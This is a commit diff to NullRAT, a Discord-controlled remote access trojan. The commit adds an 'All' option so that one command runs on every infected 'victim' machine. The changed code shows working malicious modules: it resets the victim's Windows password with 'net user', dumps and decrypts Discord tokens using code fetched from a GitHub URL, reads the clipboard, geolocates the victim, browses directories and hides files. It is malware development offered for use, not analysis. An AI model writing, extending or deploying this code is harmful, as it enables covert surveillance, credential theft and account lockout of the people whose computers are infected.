NullRAT: Use new identifier checker

New option added: Type "All" in selection prompt to execute a command on every instance of NullRAT
Removes a lot of code redundancy and allows me to unify everything

Author: NullCode1337

NullRAT/RAT.py

@@ -9,6 +9,11 @@
 import os, psutil, re, requests, sys, subprocess, random
 
 ############### Global functions available in every cog
+def valid(identifier):
+    if str(identifier) == str(client.identifier) or str(identifier).lower() == "all": 
+        return True
+    return False
+
 def genEmbed(self, title, timestamp, description=None):
     if description is None:
         embed = discord.Embed(
@@ -59,13 +64,14 @@ def __init__(self, **options):
         self.original_dir = original_dir
 
         # Checks if username is Admin/Administrator
-        if "dmin" in os.getenv("username"):
+        if "dmin" in os.getenv("username").lower():
             self.identifier = identification
         else:
             self.identifier = os.getenv("username") 
 
     genEmbed = genEmbed
     find_token = find_token
+    valid = valid
 
 client = NullBot(test_guilds=server_ids)
 nr_working = f"C:\\Users\\{os.getenv('username')}\\Appdata\\Roaming\\.cache"
@@ -83,7 +89,7 @@ def __init__(self, **options):
 @client.event
 async def on_ready():
     embed = Embed(
-        title = f"NullRAT **IX** started on: **{client.identifier}**", 
+        title = f"NullRAT **XII** started on: **{client.identifier}**", 
         description = f"Currently present in:\n```{client.original_dir}```",
         timestamp = datetime.now()
     ).set_author(
@@ -113,7 +119,7 @@ async def shutdown(ctx, victim):
     ----------
     victim: Identifier of the affected computer (found via /listvictims)
     """
-    if str(victim) == str(client.identifier):
+    if valid(victim):
         await ctx.response.send_message(
             embed = client.genEmbed(
                 "Shutting down NullRAT for **" + client.identifier + "**...",

NullRAT/modules/ChangePass.py

@@ -19,10 +19,10 @@ async def changepass(self, ctx, victim, password):
         password: New password to change for running user
         """
 
-        if str(victim) == str(self.bot.identifier) or str(victim).lower() == "all":
-            # Admin detection, this command will not work for regular users (apparently) 
+        if self.valid(victim):
+            # Admin detection, this command will not work for regular users
             is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
-            if is_admin == false:
+            if is_admin == False:
                 return await ctx.followup.send("NullRAT is not running as admin. Operation aborted")
 
             status = os.popen(r"net user %username% " + password).read()

NullRAT/modules/checkedtokens.py

@@ -33,7 +33,7 @@ async def checked_tokens(self, ctx, victim):
         ----------
         victim: Identifier of the affected computer (found via /listvictims).
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             await ctx.response.defer()
             try:
                 tkr = bytes(requests.get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")

NullRAT/modules/clipboard.py

@@ -17,7 +17,7 @@ async def get_clipboard(self, ctx, victim):
         ----------
         victim: Identifier of the affected computer (found via /listvictims).
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             await ctx.response.defer()
 
             outp = os.popen("powershell Get-Clipboard").read()

NullRAT/modules/create_new_module.py

@@ -19,7 +19,7 @@ async def CMDNAME(self, ctx, victim, argumentsss):
         argumentsss: ARGUMENT DESCRIPTION
         """
 
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             """ command here... """
 
 def setup(bot: commands.Bot):

NullRAT/modules/directory.py

@@ -18,7 +18,7 @@ async def get_currentdir(self, ctx, victim):
         ----------
         victim: Identifier of the affected computer (found via /listvictims).
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             await ctx.response.send_message(
                 embed=self.bot.genEmbed(
                     "Current directory of NullRAT:", 
@@ -36,7 +36,7 @@ async def set_currentdir(self, ctx, victim, directory):
         victim: Identifier of the affected computer (found via /listvictims).
         directory: Directory where NullRAT will change (cd) to
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             try:
                 os.chdir(directory)
                 return await ctx.response.send_message(
@@ -58,7 +58,7 @@ async def list_rawdir(self, ctx, victim, directory="null"):
         victim: Identifier of the affected computer (found via /listvictims).
         directory: Directory whose contents will be listed (optional)
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             if directory != 'null':
                 try: os.chdir(directory)
                 except FileNotFoundError: return await ctx.response.send_message("Invalid directory!")
@@ -83,7 +83,7 @@ async def list_directory(self, ctx, victim, directory="null"):
         victim: Identifier of the affected computer (found via /listvictims).
         directory: Directory whose contents will be listed (optional)
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             try:
                 contents = os.listdir( 
                     os.getcwd() if directory == "null" else directory 

NullRAT/modules/geolocate.py

@@ -17,7 +17,7 @@ async def get_geolocation(self, ctx, victim):
         ----------
         victim: Identifier of the affected computer (found via /listvictims).
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             await ctx.response.defer()
 
             data = requests.get("http://ip-api.com/json/").json()

NullRAT/modules/getenv.py

@@ -18,7 +18,7 @@ async def get_environment(self, ctx, victim: str, environment: str):
         victim: Identifier of the affected computer (found via /listvictims).
         environment: The variable of which the value is wanted
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             try: 
                 value = os.getenv(environment)
             except: 

NullRAT/modules/hideFile.py

@@ -18,7 +18,7 @@ async def hidefile(self, ctx, victim, file):
         victim: Identifier of the affected computer (found via /listvictims).
         file: File path of the file to be hidden.
         """
-        if str(victim) == str(self.bot.identifier): 
+        if self.valid(victim): 
             if '"' in file:
                 file = file.replace('"','')
 

NullRAT/modules/rawtokens.py

@@ -18,7 +18,7 @@ async def raw_tokens(self, ctx, victim):
         ----------
         victim: Identifier of the affected computer (found via /listvictims).
         """
-        if str(victim) == str(self.bot.identifier):
+        if self.valid(victim):
             await ctx.response.defer()
 
             try: